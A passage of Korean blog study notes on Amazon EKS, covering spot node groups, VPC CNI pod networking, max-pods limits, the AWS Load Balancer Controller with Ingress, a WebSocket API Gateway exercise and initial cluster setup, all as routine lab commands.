스팟 인스턴스 또한 노드 그룹 설정을 통해 사용할 수 있다 (관련 EKS 워크샵 내용: 링크). 사용 가능한 스팟 인스턴스를 확인하는 도구로 ec2-instance-selector가 있다. 이를 설치하여 실행해보자.

 

# ec2-instance-selector 설치
curl -Lo ec2-instance-selector https://github.com/aws/amazon-ec2-instance-selector/releases/download/v2.4.1/ec2-instance-selector-`uname | tr '[:upper:]' '[:lower:]'`-amd64 && chmod +x ec2-instance-selector
mv ec2-instance-selector /usr/local/bin/
ec2-instance-selector --version

# 사용
ec2-instance-selector --vcpus 2 --memory 4 --gpus 0 --current-generation -a x86_64 --deny-list 't.*' --output table-wide

스팟 인스턴스 노드 그룹을 생성하기 위해서는 노드 그룹에 해당하는 Role의 ARN 정보를 가져올 필요가 있다. 이 정보는 AWS 콘솔에서 IAM -> Roles에 가서 NodeInstance와 같이 필터링을 하여 Role 이름을 확인할 수 있다.

 

kubectl get nodes -l eks.amazonaws.com/capacityType=ON_DEMAND
kubectl get nodes -L eks.amazonaws.com/capacityType
NAME                                              STATUS   ROLES    AGE   VERSION               CAPACITYTYPE
ip-192-168-1-65.ap-northeast-2.compute.internal   Ready    <none>   75m   v1.28.5-eks-5e0fdde   ON_DEMAND
ip-192-168-2-89.ap-northeast-2.compute.internal   Ready    <none>   75m   v1.28.5-eks-5e0fdde   ON_DEMAND
ip-192-168-3-39.ap-northeast-2.compute.internal   Ready    <none>   75m   v1.28.5-eks-5e0fdde   ON_DEMAND

# 생성 : 아래 node-role 은 각자 자신의 노드롤 ARN을 입력하자 ($ACCOUNT_ID로 대체)
# role AWSServiceRoleForAmazonEKSNodegroup 테스트해보자
aws eks create-nodegroup \
  --cluster-name $CLUSTER_NAME \
  --nodegroup-name managed-spot \
  --subnets $PubSubnet1 $PubSubnet2 $PubSubnet3 \
  --node-role arn:aws:iam::$ACCOUNT_ID:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-wvZ2FX2m79Vv \
  --instance-types c5.large c5d.large c5a.large \
  --capacity-type SPOT \
  --scaling-config minSize=2,maxSize=3,desiredSize=2 \
  --disk-size 20
  
  aws eks wait nodegroup-active --cluster-name $CLUSTER_NAME --nodegroup-name managed-spot
  
  kubectl get nodes -L eks.amazonaws.com/capacityType,eks.amazonaws.com/nodegroup

 

AWS 콘솔에서도 결과를 확인할 수 있다.

 

스팟 인스턴스에 파드를 생성하고 삭제하는 것으로 실습을 완료해보자.

#
cat << EOT > busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - "/bin/sh"
    - "-c"
    - "while true; do date >> /home/pod-out.txt; cd /home; sync; sync; sleep 10; done"
  nodeSelector:
    eks.amazonaws.com/capacityType: SPOT
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

# 삭제
kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n managed-spot

 

nodeSelector에 의해 스팟 인스턴스를 지정하였고 이에 따라 위애 생성 요청을 한 파드가 스팟 인스턴스 노드에서 실행되고 있음을 확인하였다.

 

 

항상 그렇듯이 실습을 모두 완료한 이후에는 생성된 전체 자원을 꼭 삭제하도록 하자.

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

1. VPC CNI 소개

그 전에 먼저 CNI에 대해 살펴보자. https://cni.dev 홈페이지 내용을 번역기로 해석한 내용을 아래에 붙여본다.

클라우드 네이티브 컴퓨팅 기반 CNI( Container Network Interface ) 프로젝트는 지원되는 여러 플러그인과 함께 Linux 및 Windows 컨테이너에서 네트워크 인터페이스를 구성하기 위한 플러그인을 작성하기 위한 사양 및 라이브러리로 구성됩니다. CNI는 컨테이너의 네트워크 연결과 컨테이너 삭제 시 할당된 리소스 제거에만 관심이 있습니다. 이러한 초점 때문에 CNI는 광범위한 지원을 제공하며 사양 구현이 간단합니다.

 

이러한 CNI를 쓰는 대표적인 오픈 소스가 바로 쿠버네티스(K8s)로, CNI는 K8s 네트워크 환경을 구성해주는 역할을 하며 링크와 같이 다양한 플러그인이 존재한다. Amazon EKS에서는 amazon-vpc-cni-k8s를 사용하여 쿠버네티스에서 AWS에 있는 Elastic Network Interfaces를 통한 파드 네트워킹을 지원한다. amazon-vpc-cni-k8s가 파드 IP를 할당할 때 파드의 IP 네트워크 내역과 노드(워커) IP 대역이 같아서 직접 통신이 가능하다. 아래 그림에서 볼 수 있듯이, AWS VPC CNI에서는 IP 대역이 변화하지 않는다. 또한 Calico CNI 등 일반적으로 K8s CNI는 오버레이(VXLAN, IP-IP 등) 통신을 하고, AWS VPC CNI는 동일 대역으로 직접 통신을 한다. 

 

동일 대역에서 직접 통신이 이루어지므로 사용 가능한 IP 개수에 제약이 있는 점 또한 참고할 필요가 있겠다. 자세한 내용을 링크에 언급되어 있다고 하니 참고하자. 우선 설치된 EKS 환경에서 CNI 기본 정보를 확인해보자. 명령어는 다음과 같다.

# CNI 정보 확인
kubectl describe daemonset aws-node --namespace kube-system | grep Image | cut -d "/" -f 2

# 노드 IP 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

# 파드 IP 확인
kubectl get pod -n kube-system -o=custom-columns=NAME:.metadata.name,IP:.status.podIP,STATUS:.status.phase

 

실행 결과는 다음과 같다. 구성된 환경에서 amazon-vpc-cni-k8s는 최신인 v1.16.4를 사용하고 있으며, 192.168.1.0/24, 192.168.2.0/24, 192.168.3.0/24 3개의 VPC가 구성된 환경에서 노드 IP 주소 및 파드 IP 주소가 동일한 IP 대역을 사용하고 있음을 확인할 수 있었다.

2. 노드 기본 네트워크 정보 확인

노드에서 기본 네트워크 정보가 어떻게 되어 있는지를 보도록 하자. 

 

# coredns 파드 IP 정보 확인
kubectl get pod -n kube-system -l k8s-app=kube-dns -owide

# 노드의 라우팅 정보 확인 >> EC2 네트워크 정보의 '보조 프라이빗 IPv4 주소'와 비교해보자
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i sudo ip -c route; echo; done

 

coredns가 총 2 개 pod로 내포된 상태라 AZ1과 2에 존재하며, 파드 IP 주소 및 라우팅 테이블 IP 주소 모두 노드 IP 주소로 된 것을 확인할 수 있다. AWS 콘솔에서 AZ1에 있는 워커 노드의 Secondary private IPv4 주소와 같음을 확인할 수 있다.

 

이번에는 nicolaka/netshoot 테스트용 pod를 생성하여 라우팅 정보를 확인해보도록 하자.

# [터미널1~3] 노드 모니터링
ssh ec2-user@$N1
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"

ssh ec2-user@$N2
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"

ssh ec2-user@$N3
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"

# 테스트용 파드 netshoot-pod 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: netshoot-pod
spec:
  replicas: 3
  selector:
    matchLabels:
      app: netshoot-pod
  template:
    metadata:
      labels:
        app: netshoot-pod
    spec:
      containers:
      - name: netshoot-pod
        image: nicolaka/netshoot
        command: ["tail"]
        args: ["-f", "/dev/null"]
      terminationGracePeriodSeconds: 0
EOF

# 파드 이름 변수 지정
PODNAME1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].metadata.name})
PODNAME2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].metadata.name})
PODNAME3=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[2].metadata.name})

# 파드 확인
kubectl get pod -o wide
kubectl get pod -o=custom-columns=NAME:.metadata.name,IP:.status.podIP

# 노드에 라우팅 정보 확인
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i sudo ip -c route; echo; done

 

파드가 생성되면 워커노드에 eniY@ifN 이 추가되고 라우팅 테이블에도 정보가 추가됨을 확인할 수 있다.

 

이렇게 추가된 eniY에 대해 자세히 정보를 확인해볼 수도 있다. 워커노드에 접속한 다음, 마지막에 생성된 네트워크 인터페이스에 대한 네임스페이스 정보를 파악하여, 해당 네임스페이스로 진입하여 네트워크 정보를 살펴보는 것도 도움이 되겠다.

# 노드3에서 네트워크 인터페이스 정보 확인
ssh ec2-user@$N3
----------------
ip -br -c addr show
ip -c link
ip -c addr
ip route # 혹은 route -n

# 마지막 생성된 네임스페이스 정보 출력 -t net(네트워크 타입)
sudo lsns -o PID,COMMAND -t net | awk 'NR>2 {print $1}' | tail -n 1

# 마지막 생성된 네임스페이스 net PID 정보 출력 -t net(네트워크 타입)를 변수 지정
MyPID=$(sudo lsns -o PID,COMMAND -t net | awk 'NR>2 {print $1}' | tail -n 1)

# PID 정보로 파드 정보 확인
sudo nsenter -t $MyPID -n ip -c addr
sudo nsenter -t $MyPID -n ip -c route

exit
----------------

 

 

또한 직접 테스트용 파드로 접속하여 확인해볼 수도 있다.

# 테스트용 파드 접속(exec) 후 Shell 실행
kubectl exec -it $PODNAME1 -- zsh

# 아래부터는 pod-1 Shell 에서 실행 : 네트워크 정보 확인
----------------------------
ip -c addr
ip -c route
route -n
ping -c 1 <pod-2 IP>
ps
cat /etc/resolv.conf
exit
----------------------------

 

3. 노드 간 파드 통신

AWS VPC CNI를 사용하는 EKS 디폴트 환경에서는 별도의 오버레이 통신 기술 없이, VPC Native하게 파드 간 직접 통신이 가능하다.

테스트를 하기 위해 tcpdump를 각 워커 노드에 실행한 상태에서 ping을 통해 확인해보았다. 여기서 한 가지, 파드 생성시 순서를 atomic하게 보장하지 않으므로 워커노드 1,2,3 번호와 PODIP 1,2,3 순서가 동일하지 않을 수 있다는 점을 꼭 참고하자.

# 파드 IP 변수 지정
PODIP1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].status.podIP})
PODIP2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].status.podIP})
PODIP3=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[2].status.podIP})

# 파드1 Shell 에서 파드2로 ping 테스트
kubectl exec -it $PODNAME1 -- ping -c 2 $PODIP2

# 파드2 Shell 에서 파드3로 ping 테스트
kubectl exec -it $PODNAME2 -- ping -c 2 $PODIP3

# 파드3 Shell 에서 파드1로 ping 테스트
kubectl exec -it $PODNAME3 -- ping -c 2 $PODIP1

# 워커 노드 EC2 : TCPDUMP 확인
sudo tcpdump -i any -nn icmp

 

 

이번에는 eniY 어댑터에 tcpdump를 실행해 확인해보면 해당 eniY 어댑터를 통해 패킷이 이동함을 확인할 수 있다. 또한 워커 노드1에서 실제 ip route 경로를 확인해보자. 디폴트 네트워크 정보를 살펴보면 eth0를 통해 빠져나감을 확인할 수 있다.

ifconfig | grep eni
sudo tcpdump -i eniYYYYYYYYYY -nn icmp

[워커 노드1]
# routing policy database management 확인
ip rule

# routing table management 확인
ip route show table local

# 디폴트 네트워크 정보를 eth0 을 통해서 빠져나감을 확인하자.
ip route show table main
default via 192.168.1.1 dev eth0

 

4. 파드에서 외부 통신

파드에서 외부와 통신하는 흐름을 자세히 살펴보면 iptables에 SNAT을 통해 노트의 eth0 IP로 변경되어 외부와 통신이 이루어지는 것을 확인할 수 있다.

(출처: https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/cni-proposal.md )

 

워커노드 1을 기준으로 하여 확인해보니 외부 ping에 대해 192.168.1.6 IP 주소 요청이 eth0으로 192.168.1.112인 워커노드1 IP 주소로 변환되어 외부로 요청이 이루어지는 것을 확인할 수 있었다. 관련 iptables NAT 정보도 확인해보았다.

# 작업용 EC2 : pod-1 Shell 에서 외부로 ping
kubectl exec -it $PODNAME1 -- ping -c 1 www.google.com
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i curl -s ipinfo.io/ip; echo; echo; done
for i in $PODNAME1 $PODNAME2 $PODNAME3; do echo ">> Pod : $i <<"; kubectl exec -it $i -- curl -s ipinfo.io/ip; echo; echo; done

# 워커 노드 EC2 : TCPDUMP 확인
sudo tcpdump -i any -nn icmp
sudo tcpdump -i eth0 -nn icmp
sudo iptables -t nat -S | grep 'A AWS-SNAT-CHAIN'

 

실습을 다 한 이후에는 다음 실습을 위해 netshoot 파드를 삭제하도록 하자.

kubectl delete deploy netshoot-pod

 

5. 노드에 파드 생성 개수 제한

실습 내용을 쉽게 확인하기 위해 kube-ops-view를 설치하면 좋다. 다음 명령어를 사용해 설치 가능하다.

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'

# kube-ops-view 접속 URL 확인 (1.5 배율)
kubectl get svc -n kube-system kube-ops-view -o jsonpath={.status.loadBalancer.ingress[0].hostname} | awk '{ print "KUBE-OPS-VIEW URL = http://"$1":8080/#scale=1.5"}'

 

이 공식이 제일 중요하다고 생각된다.

 

최대 파드 생성 갯수 : (Number of network interfaces for the instance type × (the number of IP addresses per network interface - 1)) + 2

 

t3.medium 사용할 때 워커 노드의 인스턴스 정보를 확인해보자.

 

# t3 타입의 정보(필터) 확인
aws ec2 describe-instance-types --filters Name=instance-type,Values=t3.* \
 --query "InstanceTypes[].{Type: InstanceType, MaxENI: NetworkInfo.MaximumNetworkInterfaces, IPv4addr: NetworkInfo.Ipv4AddressesPerInterface}" \
 --output table
 
 # c5 타입의 정보(필터) 확인
aws ec2 describe-instance-types --filters Name=instance-type,Values=c5*.* \
 --query "InstanceTypes[].{Type: InstanceType, MaxENI: NetworkInfo.MaximumNetworkInterfaces, IPv4addr: NetworkInfo.Ipv4AddressesPerInterface}" \
 --output table

 

# 파드 사용 가능 계산 예시 : aws-node 와 kube-proxy 파드는 host-networking 사용으로 IP 2개 남음
((MaxENI * (IPv4addr-1)) + 2)
t3.medium 경우 : ((3 * (6 - 1) + 2 ) = 17개 >> aws-node 와 kube-proxy 2개 제외하면 15개

# 워커노드 상세 정보 확인 : 노드 상세 정보의 Allocatable 에 pods 에 17개 정보 확인
kubectl describe node | grep Allocatable: -A6

 

 

최대 개수 제한이 걸려 생성되지 않는 상황도 직접 확인해보았다.

# 워커 노드 EC2 - 모니터링
while true; do ip -br -c addr show && echo "--------------" ; date "+%Y-%m-%d %H:%M:%S" ; sleep 1; done

# 작업용 EC2 - 터미널1
watch -d 'kubectl get pods -o wide'

# 작업용 EC2 - 터미널2
# 디플로이먼트 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/nginx-dp.yaml
kubectl apply -f nginx-dp.yaml

# 파드 확인
kubectl get pod -o wide
kubectl get pod -o=custom-columns=NAME:.metadata.name,IP:.status.podIP

# 파드 증가 테스트 >> 파드 정상 생성 확인, 워커 노드에서 eth, eni 갯수 확인 >> 어떤일이 벌어졌는가?
kubectl scale deployment nginx-deployment --replicas=50

 

 

다음 실습 전에 생성한 배포를 삭제하도록 하자.

kubectl delete deployment nginx-deployment

 

이에 대한 해결 방안으로는 Prefix Delegation, WARM & MIN IP/Prefix Targets, Custom Network 등이 있다고 하니 참고하자.

6. AWS LoadBalancer Controller

서비스에 대한 설명은 https://kubernetes.io/ko/docs/concepts/services-networking/service/ 를 참고하는 것으로 하자. AWS LoadBalancer Controller를 사용하는 모드에서는 Load Balancer Controller 파드를 통해 파드 IP 등 지속적인 정보 제공을 하는 역할을 담당하고 EKS Cluster와 상태를 sync하는 역할 또한 수행한다. 다음 그림은 NLB IP 모드로 동작하는 상황을 보여준다.

 

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/aws-load-balancer-controller.html 문서에 언급된 내용에 따라 다음 명령어를 참고하여 IRSA로 AWS LoadBalancer Controller를 배포하자.

# OIDC 확인
aws eks describe-cluster --name $CLUSTER_NAME --query "cluster.identity.oidc.issuer" --output text
aws iam list-open-id-connect-providers | jq

# IAM Policy (AWSLoadBalancerControllerIAMPolicy) 생성
curl -O https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.5.4/docs/install/iam_policy.json
aws iam create-policy --policy-name AWSLoadBalancerControllerIAMPolicy --policy-document file://iam_policy.json

# 혹시 이미 IAM 정책이 있지만 예전 정책일 경우 아래 처럼 최신 업데이트 할 것
# aws iam update-policy ~~~

# 생성된 IAM Policy Arn 확인
aws iam list-policies --scope Local | jq
aws iam get-policy --policy-arn arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy | jq
aws iam get-policy --policy-arn arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --query 'Policy.Arn'

# AWS Load Balancer Controller를 위한 ServiceAccount를 생성 >> 자동으로 매칭되는 IAM Role 을 CloudFormation 으로 생성됨!
# IAM 역할 생성. AWS Load Balancer Controller의 kube-system 네임스페이스에 aws-load-balancer-controller라는 Kubernetes 서비스 계정을 생성하고 IAM 역할의 이름으로 Kubernetes 서비스 계정에 주석을 답니다
eksctl create iamserviceaccount --cluster=$CLUSTER_NAME --namespace=kube-system --name=aws-load-balancer-controller --role-name AmazonEKSLoadBalancerControllerRole \
--attach-policy-arn=arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts --approve

## IRSA 정보 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

## 서비스 어카운트 확인
kubectl get serviceaccounts -n kube-system aws-load-balancer-controller -o yaml | yh

# Helm Chart 설치
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

## 설치 확인 : aws-load-balancer-controller:v2.7.1
kubectl get crd
kubectl get deployment -n kube-system aws-load-balancer-controller
kubectl describe deploy -n kube-system aws-load-balancer-controller
kubectl describe deploy -n kube-system aws-load-balancer-controller | grep 'Service Account'
  Service Account:  aws-load-balancer-controller
 
# 클러스터롤, 롤 확인
kubectl describe clusterrolebindings.rbac.authorization.k8s.io aws-load-balancer-controller-rolebinding
kubectl describe clusterroles.rbac.authorization.k8s.io aws-load-balancer-controller-role

 

이 부분이 진행되어야 7번 Ingress 실습이 가능해진다.

7. Ingress

인그레스는 클러스터 내부의 서비스 (ClusterIP, NodePort, Loadbalancer)를 외부로 노출(HTTP/HTTPS)할 수 있도록 돕는 역할을 하며, 일종의 웹 프록시 역할을 수행한다. AWS Load Balancer Controller + Ingress (ALB) IP 모드 동작을 AWS VPC CNI에서 확인해보자.

 

# 게임 파드와 Service, Ingress 배포
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ingress1.yaml
cat ingress1.yaml | yh
kubectl apply -f ingress1.yaml

# 모니터링
watch -d kubectl get pod,ingress,svc,ep -n game-2048

# 생성 확인
kubectl get-all -n game-2048
kubectl get ingress,svc,ep,pod -n game-2048
kubectl get targetgroupbindings -n game-2048
NAME                               SERVICE-NAME   SERVICE-PORT   TARGET-TYPE   AGE
k8s-game2048-service2-e48050abac   service-2048   80             ip            87s

# ALB 생성 확인
aws elbv2 describe-load-balancers --query 'LoadBalancers[?contains(LoadBalancerName, `k8s-game2048`) == `true`]' | jq
ALB_ARN=$(aws elbv2 describe-load-balancers --query 'LoadBalancers[?contains(LoadBalancerName, `k8s-game2048`) == `true`].LoadBalancerArn' | jq -r '.[0]')
aws elbv2 describe-target-groups --load-balancer-arn $ALB_ARN
TARGET_GROUP_ARN=$(aws elbv2 describe-target-groups --load-balancer-arn $ALB_ARN | jq -r '.TargetGroups[0].TargetGroupArn')
aws elbv2 describe-target-health --target-group-arn $TARGET_GROUP_ARN | jq

# Ingress 확인
kubectl describe ingress -n game-2048 ingress-2048
kubectl get ingress -n game-2048 ingress-2048 -o jsonpath="{.status.loadBalancer.ingress[*].hostname}{'\n'}"

# 게임 접속 : ALB 주소로 웹 접속
kubectl get ingress -n game-2048 ingress-2048 -o jsonpath={.status.loadBalancer.ingress[0].hostname} | awk '{ print "Game URL = http://"$1 }'

# 파드 IP 확인
kubectl get pod -n game-2048 -owide

 

 

8. 추가 과제: Optimize webSocket applications scaling with API Gateway on Amazon EKS

https://aws.amazon.com/ko/blogs/containers/optimize-websocket-applications-scaling-with-api-gateway-on-amazon-eks/ 블로그에 있는 내용을 실습해보았다. Websocket 기술의 경우 클라이언트와 서버간 실시간 양방향 데이터 교환을 용이하게 하기 위해 사용하는 프로토콜 중 하나이다. 원래 애플리케이션을 최소한으로 변경하면서 장기 실행 클라이언트에 대해서도 자동 크기 조정을 달성할 수 있도록 웹 애플리케이션을 활용하는 부분을 확인해보도록 하자.

 

직접 해보았는데 아쉽게 웹 소켓 연결까지는 되는데 "hello"라고 입력하여도 응답이 오지는 않는다. 기록을 위해 아래와 같이 남겨둔다.

 

필요 환경 준비

- EKS 클러스터 및 ECR 레지스트리는 쉽게 준비 가능하며 AWS Load Balancer Controller 또한 위 6번 내용을 참고하면 된다. wscat을 설치하기 위해서는 node를 설치해야 하는지라 아래 부분을 참고하여 진행하도록 하자.

 

wscat 설치하기

- https://docs.aws.amazon.com/ko_kr/sdk-for-javascript/v2/developer-guide/setting-up-node-on-ec2-instance.html 내용에 따라 설치한다. 다만 최신 lts는 현재 AMI에서 동작하지 않을 수 있으므로 17 정도 버전으로 설치하도록 하자.

- wscat 설치는 " npm install -g wscat " 명령어를 통해 설치가 가능하다.

 

IRSA 정책 생성

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/associate-service-account-role.html 내용을 참고하여 생성해보았다. 다만 처음에 생성한 것이 아닌 아래 6번 과정을 통해 생성이 이루어진 API Gateway 리소스에 대해 정책을 만든 후 해당 정책을 연결하였다. 다음 명령어를 사용하였다.

 

eksctl create iamserviceaccount --name my-service-account --namespace default --cluster myeks --role-name my-role --attach-policy-arn arn:aws:iam::$ACCOUNT_ID:policy/APIGatewayAllPolicy --approve

 

실습 과정은 다음과 같다.

 

1. 프로젝트 다운로드

git clone https://github.com/aws-samples/websocket-eks

 

2. ECR 레지스트리 생성하여 URL 가져오기

 

3. 해당 ECR 레지스트리에서 push command 설명을 참고하여 클론한 폴더 내 존재하는 Dockerfile로 컨테이너화한 후 업로드를 시킨다. 이후 레지스트리 URL을 반영하여 서비스를 배포한 후 결과를 확인한다.

Replace <ecr image> with the location of your image in deployment-Service.yml
kubectl apply -f deployment-Service.yml
Run the following command to confirm the deployment was created successfully
kubectl get deployment websocket-microservice

 

4. Nodeport를 생성한다.

kubectl apply -f nodePort-Service.yml
Run the following command to confirm the service was created successfully
kubectl get service websocket-restapp-nodeport-service

 

5. ALB 인그레스를 생성한다.

kubectl apply -f albIngress.yml
Run the following command to get the address for the ALB
kubectl get ingress ingress-websocket-restapp-service

 

6. 위 5번에서 반환된 URL을 사용하여 Cloudformation으로 웹 소켓을 생성한다.

aws cloudformation create-stack --stack-name websocket-api --template-body file://./websocket-api-gateway-cfn.yml  --parameters ParameterKey=IntegrationUri,ParameterValue=http://<ALB Address>

 

7. IRSA 서비스 계정을 생성하고 그 정보를 update-deployment-Service.yml 에 반영한 다음 적용한다.

kubectl apply -f update-deployment-Service.yml

8. 최종 확인을 해보자. CloudFormation에서 웹소켓 URL을 찾고 이 URL을 기반으로 접속을 한다.

wscat --connect wss://<Your API gateway url>

9. 최종 테스트: 블로그 내용대로라면 echo back이 되어야 하는데 그렇게 되지 않는다. 추후 재실행 / 디버깅을 해보고자 한다.

10. 실습 자원 제거

aws cloudformation delete-stack --stack-name websocket-api

kubectl delete -f albIngress.yml
kubectl delete -f nodePort-Service.yml
kubectl delete -f deployment-Service.yml
본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

1. Amazon EKS 소개

Amazon EKS 사용자 가이드 공식 문서 (링크)에 따르면, Amazon Web Services (AWS)에서 제공하는 관리형 서비스로, Kubernetes (쿠버네티스) 컨트롤 플레인을 설치, 운영 및 유지 관리할 필요가 없는 "관리형 서비스"라고 설명되어 있다. 쿠버네티스 클러스터 아키텍처가 설명된 오픈 소스 쿠버네티스 문서 (링크)에 컨트롤 플레인에 대한 그림이 있다.

위 이미지에서 나온 컨트롤 플레인에 보면 cloud-controller-manager, etcd, kube-api-server, scheduler, Controller Manager 이렇게 5개 요소가 있는데, 해당 요소를 직접 설치하여 관리하는 대신 Amazon EKS라는 관리형 서비스를 생성하여 쿠버네티스 노드들을 활용하게 된다. 자세한 내용은 EKS 워크샵 설명(링크)에도 있으니 이를 참고하자.

 

쿠버네티스 오픈 소스는 https://github.com/kubernetes/kubernetes/releases 링크를 통해서도 새로 업데이트된 버전을 확인할 수가 있는데, 이 버전 번호에 대한 자세한 설명은 링크에서도 확인 가능하다.

 

x.y.z | x: 메이저 버전, y: 마이너 버전, z: 패치 버전

 

2. EKS 워크샵 실습 환경 소개 및 작업용 EC2 구성

본 스터디에서는 EKS 워크샵에 있는 "AWS 계정으로 시작"에 따라 스터디 시작 전 미리 AWS 계정을 준비하였으며, 실습 환경 구축에 보면 AWS Cloud9부터 kubectl 설치, eksctl 설치 등이 있는데 스터디장이신 가시다님께서 준비해 주신 AWS CloudFormation을 사용하여 편하게 스터디 참여를 할 수가 있었다. EKS 버전은 스터디를 진행하고 있는 2024년 3월을 기준으로 EKS 지원 add-on 및 K8s 생태계와 가장 잘 호환되고 검증된 애플리케이션이 많은 버전인 v1.28을 선택하여 진행하였다. 스터디 진행하는 AWS 환경을 이해해볼 겸 AWS 아키텍처 아이콘을 참고하여 아래와 같이 도식화해보았다.

 

아래와 같이 CloudFormation 템플릿을 다운로드 받은 다음에 AWS CLI (링크)를 사용해 실행해 보았다.

$ curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/myeks-1week.yaml
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10373  100 10373    0     0   180k      0 --:--:-- --:--:-- --:--:--  180k
$ aws cloudformation deploy --template-file myeks-1week.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32 --region ap-northeast-2

Waiting for changeset to be created..
Waiting for stack create/update to complete
Successfully created/updated stack - myeks

 

이후 다음 명령어를 실행하면 IP 주소를 알 수 있으며, 이 IP 주소로 SSH를 실행하여 Shell 로 접속하여 이후 작업을 진행한다. 접속할 SSH ID 및 Password는 위 CloudFormation 템플릿 파일에 있으니 참고하자.

aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[*].OutputValue' --output text

 

작업용 EC2에 접속하였다면 IAM 사용자 자격 구성이 필요하다. 실습 편의를 위해 administrator 권한을 가진 IAM User의 자격 증명을 입력한다.

[root@myeks-host ~]# aws ec2 describe-instances

Unable to locate credentials. You can configure credentials by running "aws configure".
[root@myeks-host ~]# aws configure
AWS Access Key ID [None]: AKI..........
AWS Secret Access Key [None]: FQ.......................
Default region name [None]: ap-northeast-2
Default output format [None]: json
[root@myeks-host ~]# aws ec2 describe-instances
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-025cebb6913219d99",...........

 

3. eksctl로 클러스터 생성하기

EKS 워크샵 내용 (링크)에서는 yaml 파일을 작성하여 eksctl 명령어로 클러스터를 생성하는데, 기본적인 옵션을 직접 eksctl 명령어에 적절한 파라미터 형태로 전달하는 방식 또한 가능하여 스터디에서는 이 방법을 사용해 보았다. 필요한 옵션 값을 환경 변수로 저장하여 활용하였다.

3.1. 필요한 환경 변수 준비하기

$AWS_DEFAULT_REGION 및 $CLUSTER_NAME은 작업용 EC2에서 이미 준비가 되어 있다. 이를 확인해보고 나머지 환경 변수에 대해 설정해보았다.

[root@myeks-host ~]# echo $AWS_DEFAULT_REGION
ap-northeast-2
[root@myeks-host ~]# echo $CLUSTER_NAME
myeks
[root@myeks-host ~]# export VPCID=$(aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq -r .Vpcs[].VpcId)
[root@myeks-host ~]# echo "export VPCID=$VPCID" >> /etc/profile
[root@myeks-host ~]# export PubSubnet1=$(aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet1" --query "Subnets[0].[SubnetId]" --output text)
rt PubSubnet2=$(aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet2" --query "Subnets[0].[SubnetId]" --output text)
echo "export PubSubnet1=$PubSubnet1" >> /etc/profile
echo "export PubSubnet2=$PubSubnet2" >> /etc/profile
[root@myeks-host ~]# export PubSubnet2=$(aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet2" --query "Subnets[0].[SubnetId]" --output text)
[root@myeks-host ~]# echo "export PubSubnet1=$PubSubnet1" >> /etc/profile
[root@myeks-host ~]# echo "export PubSubnet2=$PubSubnet2" >> /etc/profile
[root@myeks-host ~]# echo $VPCID
vpc-06019251cc08c519b
[root@myeks-host ~]# echo $PubSubnet1,$PubSubnet2
subnet-09c63523c434bcaec,subnet-0244ef5fa73c2f986

3.2. EKS 클러스터 생성하기

